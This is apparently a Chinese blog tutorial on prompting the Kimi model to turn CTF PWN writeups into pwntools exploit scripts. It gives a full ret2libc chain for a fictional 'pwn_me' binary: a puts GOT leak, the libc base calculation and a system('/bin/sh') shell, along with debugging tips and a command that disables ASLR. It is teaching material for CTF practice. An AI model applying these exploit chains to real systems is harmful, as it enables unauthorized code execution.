AI大模型辅助PWN漏洞利用脚本生成:从Writeup到EXP的实践指南
1. 项目概述:当AI大模型遇上二进制安全
最近在复盘去年的网鼎杯CTF赛题,特别是几道PWN题,发现其利用链和绕过手法都相当精巧。手动写EXP(漏洞利用脚本)固然是基本功,但面对一些重复性高、模式固定的操作,比如计算偏移、构造ROP链、处理libc地址,我就在想:能不能让AI来帮我分担一部分“体力活”?正好,Kimi、DeepSeek这类国产大模型在代码理解和生成上表现越来越亮眼,尤其是对中文技术文档和代码片段的处理。于是,我尝试了一个新玩法: 将网鼎杯的官方Writeup(WP)喂给Kimi,让它理解漏洞原理,并自动生成可执行的PWN漏洞利用脚本 。这不仅仅是简单的代码翻译,而是要求AI理解漏洞成因、内存布局、利用技巧,并转化为正确的pwntools脚本。
这个尝试的核心价值在于,它探索了AI在安全研究,尤其是漏洞利用开发(Exploit Development)这一高度专业化领域的辅助潜力。对于安全研究员和CTF选手而言,AI可以成为一个不知疲倦的“初级助手”,快速处理WP中的信息,生成脚本框架,甚至提出不同的利用思路。对于初学者,这更是一个强大的学习工具,你可以通过对比AI生成的脚本和手工编写的脚本,快速理解WP中每一步操作的目的。当然,这绝不意味着AI能完全替代安全研究员的核心思考。漏洞挖掘、逻辑分析、绕过新颖缓解措施(如最新的CFI、PAC)等创造性工作,依然高度依赖人类的经验和直觉。AI辅助开发,辅助的是“开发”中那些标准化、流程化的部分,从而让我们能更聚焦于真正的挑战。
2. 核心思路与工具链搭建
2.1 整体工作流设计
要让AI有效地辅助编写PWN脚本,我们不能简单地把整个WP文档扔过去说“写个EXP”。这就像让一个刚入行的新人直接看决赛题一样,大概率会得到一堆语法正确但逻辑混乱的代码。我们需要设计一个结构化的“投喂”和“引导”流程。
我的工作流分为四个阶段:
- 信息预处理与提炼 :首先,我需要精读WP,将其中的关键信息结构化地提取出来。这包括目标程序的基本信息(架构、保护机制)、漏洞点详细描述、利用思路步骤、以及关键的偏移、地址信息。
- 分步提示与上下文构建 :将提炼出的信息,结合具体的代码片段(如反汇编关键函数、崩溃现场寄存器状态),分步骤、有逻辑地输入给Kimi。每一步都附带明确的指令,比如“请根据以上漏洞描述,编写一段代码泄露libc基地址”。
- 脚本生成与迭代修正 :AI生成初步代码后,我需要在一个隔离的测试环境中运行和调试。AI可能会犯一些错误,比如搞错结构体偏移、误解调用约定,或者使用了过时的pwntools API。这时就需要我进行人工修正,并将修正原因和正确代码作为反馈再次输入,让AI学习调整。
- 整合与优化 :将分步生成的代码模块整合成一个完整的、健壮的EXP脚本,并加入一些实战技巧,如错误处理、多架构适配、日志输出等。
这个流程的核心是 “人类把控方向,AI执行细节” 。人类负责确保漏洞逻辑的正确性和利用路径的可行性,AI则负责将自然语言描述转化为准确的Python/pwntools代码。
2.2 工具选型与配置
工欲善其事,必先利其器。以下是这个项目中使用到的核心工具栈及其配置考量:
-
AI大模型平台:Kimi Chat
- 选择理由 :Kimi对长上下文的支持非常出色,动辄数十万字的WP文档可以轻松输入。其对中文技术术语的理解准确,代码生成格式规范。相较于一些需要复杂配置的本地模型,Kimi网页版即开即用,交互速度快,适合快速迭代。
- 关键配置 :在对话开始时,我会用一个“系统提示词”来设定AI的角色和能力边界。例如:“你是一个经验丰富的二进制安全研究员,精通CTF PWN题型和pwntools开发。接下来我将提供一道PWN题的Writeup,请你逐步分析,并生成对应的利用脚本。请确保代码符合Python3和最新pwntools库的规范。”
- 使用技巧 :遇到“聊得太长”的提示时,有效的策略是开启“新会话”,并将之前对话中最重要的上下文(如漏洞类型、目标二进制名、已确定的偏移)作为新对话的初始提示,而不是试图恢复整个超长历史。
-
本地开发与调试环境
- 操作系统 :Ubuntu 22.04 LTS。这是CTF和安全研究最主流的环境,工具链完整,与比赛环境兼容性好。
-
Python环境
:使用
pyenv或conda管理独立的Python 3.10+环境,避免包冲突。核心库就是pwntools,务必安装最新版(pip install --upgrade pwntools)。 -
调试器
:
gdb+pwndbg/gef插件。这是动态调试的黄金组合。我会将调试过程中发现的地址、内存布局等实时信息补充给AI,让生成的脚本更精准。 -
二进制分析工具
:
checksec(查看保护)、objdump/readelf(静态分析)、ROPgadget/ropper(寻找gadget)。这些工具的输出是WP的重要组成部分,也是AI需要理解的信息源。
-
辅助工具链
-
Libc数据库
:
libc-database或在线工具libc.blukat.me。当WP中提到“通过泄露某个地址查libc版本”时,AI生成的代码需要集成查询逻辑。 -
结构化信息提取
:有时WP是图片或格式混乱的PDF。我会先用OCR工具(如
pytesseract)或PDF解析库提取文字,再用文本编辑器或简单脚本进行初步清洗,确保喂给AI的是清晰文本。
-
Libc数据库
:
注意 :整个实验必须在完全隔离的虚拟机或容器中进行,目标二进制文件也仅限于CTF赛题或明确授权测试的程序。绝对禁止将此类方法用于对未授权真实系统的测试,这既是法律红线,也是职业道德底线。
3. 实战拆解:从WP到EXP的AI协作过程
下面,我以一道虚构的、融合了网鼎杯常见考点的栈溢出题目为例,展示完整的协作过程。题目假设为
pwn_me
,保护机制为
Partial RELRO, NX enabled, PIE disabled
。
3.1 阶段一:信息提炼与结构化
首先,我阅读WP,并整理出以下结构化信息,作为给AI的“需求文档”:
题目基本信息
-
二进制文件:
pwn_me(ELF 64-bit) -
保护:
Partial RELRO, NX, No PIE(意味着GOT表可写,代码段地址固定) -
漏洞函数:
vuln(),内部使用gets(buf)读入数据,buf位于栈上,大小0x50字节。 - 溢出长度:需要填充0x50字节缓冲区 + 0x8字节保存的RBP,之后即可覆盖返回地址。
利用思路
-
第一次溢出
:覆盖返回地址为
puts@plt,参数设置为puts@got,目的是泄露puts函数在内存中的真实地址。 -
计算libc基址
:利用泄露的地址减去libc中
puts函数的偏移,得到libc基址。 -
第二次溢出
:再次执行
vuln()函数,构造第二次payload。通过libc基址计算出system函数和字符串"/bin/sh"的地址。 -
获取shell
:覆盖返回地址为
system,参数为"/bin/sh"地址。
关键地址/偏移(需动态获取或计算)
-
buf到返回地址的偏移:0x50 + 0x8 = 0x58(88字节)。 -
pop rdi; retgadget的地址:需要通过ROPgadget在二进制文件中查找。 -
puts@plt和puts@got的地址:通过objdump或readelf获取。 -
Libc中
puts和system的偏移:需要根据泄露的地址和libc版本确定。
3.2 阶段二:分步提示与AI代码生成
我将上述信息分步输入给Kimi。
第一步:建立连接与基础框架
我的提示词:
“请用pwntools编写一个基础框架,连接到一个本地进程
./pwn_me
。设置上下文架构为
amd64
,日志级别为
debug
以便观察。同时,根据以下信息定义一些常量:二进制中
pop rdi; ret
这个gadget的地址是
0x4007a3
,
puts@plt
的地址是
0x400520
,
puts@got
的地址是
0x601018
。缓冲区到返回地址的偏移是88字节。”
AI生成的代码框架:
from pwn import *
# 设置上下文
context(arch='amd64', os='linux', log_level='debug')
# 定义常量
offset = 88
pop_rdi_ret = 0x4007a3
puts_plt = 0x400520
puts_got = 0x601018
# 启动进程
io = process('./pwn_me')
# 如果是远程,使用:io = remote('靶机地址', 端口号)
第二步:构造第一次溢出Payload
我的提示词:
“现在,请构造第一次溢出的payload。目标是调用
puts(puts_got)
来泄露地址。payload结构应该是:
[偏移量的垃圾数据] + [pop_rdi_ret gadget] + [puts_got] + [puts_plt] + [vuln函数的地址]
。这里
vuln
函数的地址是
0x400637
,我们需要在泄露后再次返回到这里进行第二次溢出。请生成相应的代码。”
AI生成的代码:
# 第一次溢出,泄露puts的got表地址
vuln_addr = 0x400637
payload1 = b'A' * offset
payload1 += p64(pop_rdi_ret)
payload1 += p64(puts_got)
payload1 += p64(puts_plt)
payload1 += p64(vuln_addr) # 泄露后再次返回vuln函数
io.sendlineafter(b'input:', payload1) # 假设程序提示符是'input:'
# 接收泄露的地址
leaked_puts = u64(io.recvline().strip().ljust(8, b'\x00'))
log.success(f'Leaked puts address: {hex(leaked_puts)}')
这里AI准确地使用了
p64
进行打包,并使用了
sendlineafter
来稳定交互,还考虑了接收数据时可能长度不足8字节的填充处理,表现不错。
第三步:计算libc基址与二次利用
我的提示词:
“假设我们已知使用的libc是
libc6_2.31-0ubuntu9.9_amd64
,其中
puts
函数的偏移是
0x84420
,
system
的偏移是
0x52290
,字符串
"/bin/sh"
的偏移是
0x1b45bd
。请根据泄露的
leaked_puts
地址计算libc基址,进而计算出
system
和
/bin/sh
的地址。然后构造第二次payload,直接调用
system("/bin/sh")
。”
AI生成的代码:
# 已知的libc偏移(需要根据实际libc版本修改)
libc_puts_offset = 0x84420
libc_system_offset = 0x52290
libc_binsh_offset = 0x1b45bd
# 计算libc基址和其他函数地址
libc_base = leaked_puts - libc_puts_offset
system_addr = libc_base + libc_system_offset
binsh_addr = libc_base + libc_binsh_offset
log.info(f'Libc base: {hex(libc_base)}')
log.info(f'System address: {hex(system_addr)}')
log.info(f'/bin/sh address: {hex(binsh_addr)}')
# 第二次溢出,获取shell
payload2 = b'B' * offset
payload2 += p64(pop_rdi_ret)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)
io.sendlineafter(b'input:', payload2)
第四步:交互与收尾 我的提示词: “最后,在发送第二次payload后,将进程切换到交互模式,这样我们就能得到一个shell。请补充这部分代码,并添加适当的注释。”
AI生成的完整脚本收尾:
io.interactive()
3.3 阶段三:人工调试与迭代修正
AI生成的代码在逻辑上基本正确,但实际运行中可能会遇到问题。例如:
-
问题1
:
io.recvline()可能没有接收到完整的泄露地址行,或者收到了额外的换行符。这会导致u64解包失败。-
修正
:我调试后发现,泄露的地址是
puts函数输出的唯一内容,后面可能没有换行符。于是修改为io.recvuntil(b'\x7f')来接收直到libc地址特征字节(0x7f)出现,或者使用io.recv(6)接收6个字节再填充。 -
反馈给AI
:我将这个调试过程和修正后的代码片段告诉AI:“在接收泄露地址时,使用
recvline()可能不可靠。因为泄露的地址可能不是以换行结尾。更稳健的做法是使用recvuntil(b'\x7f')接收直到遇到libc地址的高位特征字节,或者直接接收固定长度。修正后的代码是:leaked_puts = u64(io.recv(6).ljust(8, b'\x00'))。”
-
修正
:我调试后发现,泄露的地址是
-
问题2
:AI假设了libc的偏移。在实际CTF中,我们通常需要动态查找。
-
修正
:我引入
LibcSearcher(pwntools的一个组件,需额外安装)或在线查询逻辑,让脚本更具通用性。 -
反馈给AI
:“在实际利用中,libc偏移是未知的。请修改代码,使用
from LibcSearcher import *,在得到泄露地址后,使用LibcSearcher('puts', leaked_puts)来查找可能的libc版本并自动计算system和/bin/sh的地址。”
-
修正
:我引入
通过这样几轮“AI生成 -> 人工调试 -> 反馈修正”的迭代,最终能得到一个健壮、可用的EXP脚本。这个过程也极大地加深了对漏洞利用每个环节的理解。
4. AI辅助的边界与进阶技巧
4.1 当前能力的边界与局限
经过多次实践,我清晰地认识到AI在PWN利用脚本编写中的能力边界:
- 逻辑推理与漏洞挖掘 :AI无法从零开始分析一个二进制文件并发现新漏洞。它极度依赖WP中已经提炼出的、明确的漏洞描述和利用路径。对于模糊的、需要复杂条件竞争或深入理解程序状态机的漏洞,AI目前无能为力。
- 环境感知与动态适配 :AI生成的代码是基于静态信息(提供的地址、偏移)。它无法感知运行时的动态变化,比如ASLR每次加载的随机化、堆布局的微妙差异、网络延迟导致的竞态条件。这些都需要人工编写循环、尝试和异常处理逻辑。
- 绕过高级缓解措施 :面对CFG(控制流防护)、Shadow Stack、Pointer Authentication等现代缓解机制,利用手法变得极其复杂和定制化。AI缺乏对底层CPU架构和操作系统安全机制深度交互的理解,难以生成有效的绕过代码。
-
代码优化与稳定性
:AI生成的代码通常是功能性的,但可能不够优化或健壮。例如,它可能不会考虑添加
sleep来稳定堆布局,不会使用cyclic工具智能计算偏移,也不会编写优雅的重连和重试逻辑。
4.2 提升AI辅助效率的进阶技巧
尽管有局限,但通过一些技巧,我们可以让AI成为更得力的助手:
-
提供更丰富的上下文
:除了WP文字,将关键的反汇编代码片段、
checksec输出、gdb调试信息(如vmmap、search命令结果)也一并提供给AI。信息越全面,AI的理解就越准确。 -
使用“思维链”提示
:不要直接要求“写EXP”。而是引导AI一步步思考:“首先,我们需要确定溢出点。根据WP,
gets函数读入到大小为0x50的缓冲区……那么偏移是多少?接下来,由于NX开启,我们需要ROP……程序中有什么可用的gadget?……” 模拟人类的推理过程,让AI生成中间步骤的代码。 - 要求AI进行代码审查 :你可以将自己手写的EXP初稿交给AI,并提问:“请检查这段PWN利用脚本是否存在逻辑错误、内存对齐问题,或者是否有更简洁的gadget组合方式?” AI往往能发现一些疏忽的细节。
- 构建可复用的代码模板库 :让AI为常见的漏洞模式(如栈溢出ret2libc、格式化字符串泄露、堆漏洞中的unlink攻击)生成高度参数化的模板代码。以后遇到类似题目,只需修改几个偏移量和地址即可。
- 结合其他AI工具 :Kimi长于理解和生成。对于更复杂的代码逻辑或需要搜索已知漏洞模式,可以结合GitHub Copilot、Cursor等编程辅助AI,在IDE内进行实时补全和建议。
5. 常见问题与排查实录
在实际操作中,无论是AI还是我们自己,都会遇到各种问题。下面记录了一些典型问题及其解决方法,这往往是WP里不会写的“坑”。
5.1 AI生成代码的常见错误
| 问题现象 | 可能原因 | 排查与解决方法 |
|---|---|---|
TypeError: can't concat str to bytes
|
AI可能混淆了Python的字符串(
str
)和字节串(
bytes
)。在pwntools中,payload必须由字节串构成。
|
检查所有地址、gadget在拼接前是否都用了
p64()
/
p32()
打包,或确保字符串如
b'A' * offset
是字节串。将所有字符串字面量加上
b
前缀。
|
脚本卡在
recv
或
sendlineafter
|
1. 提示字符串不匹配。
2. 程序输出有不可见字符或换行符差异。 3. AI生成的交互逻辑与程序实际流程不符。 |
1. 使用
context.log_level = 'debug'
查看所有收发数据。
2. 尝试使用
io.recvuntil(b'xxx: ')
,其中的字节序列要完全匹配程序输出,包括空格和冒号。
3. 手动运行程序,观察其确切的输入输出流程,并据此修正AI代码中的交互点。 |
| 泄露的地址解包后明显错误(如很小) |
1. 接收的数据长度不对,
u64
解包了错误的内存内容。
2. 程序输出可能包含换行符等干扰,被
recvline()
一并接收。
|
1. 在
u64
前打印接收到的原始数据:
log.info(io.recvline())
。
2. 改用
io.recvuntil(b'\x7f')
或
io.recv(6)
来精准捕获地址数据。
3. 考虑地址可能只有6个有效字节(如
0x7fxxxxxxxxxx
),需要用
.ljust(8, b'\x00')
从右侧填充。
|
| 第二次溢出后程序崩溃,而非获得shell |
1. 栈对齐问题。在x86_64下,
call
指令要求栈16字节对齐,而
ret
指令后栈可能不对齐。
2.
system
地址计算错误。
3. 参数传递错误(如32位和64位混淆)。 |
1. 在ROP链中添加一个额外的
ret
gadget作为“栈对齐填充”。让AI在
pop rdi; ret
之后,
system
之前,再加一个单纯的
ret
指令地址。
2. 重新核对libc基址计算过程,确认偏移是否正确,并用
gdb
附加进程验证计算出的
system
地址是否指向正确的函数。
3. 确认架构和调用约定。64位下第一个参数在
rdi
。
|
5.2 环境与工具相关的问题
-
LibcSearcher 找不到或报错
:这通常是因为本地数据库未更新或没有对应的libc版本。解决方法:1) 更新LibcSearcher数据库;2) 如果知道远程libc版本,手动下载对应的libc.so文件,在脚本中直接指定偏移;3) 使用在线API,编写一个函数根据泄露的地址去
libc.blukat.me等网站查询。 -
进程崩溃无核心转储
:在调试时,如果程序崩溃后没有生成core文件,无法查看崩溃现场。需要在运行脚本前,在终端执行
ulimit -c unlimited。同时,确保系统已启用核心转储。 -
地址随机化(ASLR)
:在本地测试时,为了方便,可以暂时关闭ASLR:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space。但务必记住,远程靶机通常是开启的,所以脚本必须能处理随机的libc和栈地址。
5.3 给AI的提示词优化心得
- 明确指令 :使用“请编写代码…”、“请计算…”、“请修改…使其能…”等清晰动词。
- 提供范例 :如果有一种特定的代码风格或模式你希望AI遵循,可以先给它看一小段你写的代码作为例子。
- 分而治之 :将复杂的利用过程分解成多个子任务,逐个让AI完成。例如,“第一步,写连接和定义偏移的代码”、“第二步,写泄露函数的代码”、“第三步,写计算地址的代码”。
- 指定格式和库 :明确要求“使用Python3和pwntools库”,“代码中需要包含详细的注释”。
- 纠正与反馈 :当AI出错时,将错误信息和你修正后的代码一起提供给AI,并解释为什么这样改。这能帮助它在后续生成中避免同类错误。
这个项目让我深刻体会到,AI辅助开发不是魔法,它不会让一个新手瞬间变成漏洞利用专家。但它是一个强大的“力量倍增器”。它将安全研究员从大量重复、繁琐的代码编写和调试中解放出来,让我们能更专注于漏洞逻辑本身、利用链的构思和绕过手法的创新。对于学习者而言,它提供了一个永不疲倦的“对话伙伴”,你可以通过不断向它提问、验证想法来加速学习过程。未来,随着多模态模型的发展,或许我们可以直接将二进制文件、IDA反汇编视图丢给AI进行分析,那将是更激动人心的场景。但无论如何,工具的核心价值始终在于使用它的人。
更多推荐


所有评论(0)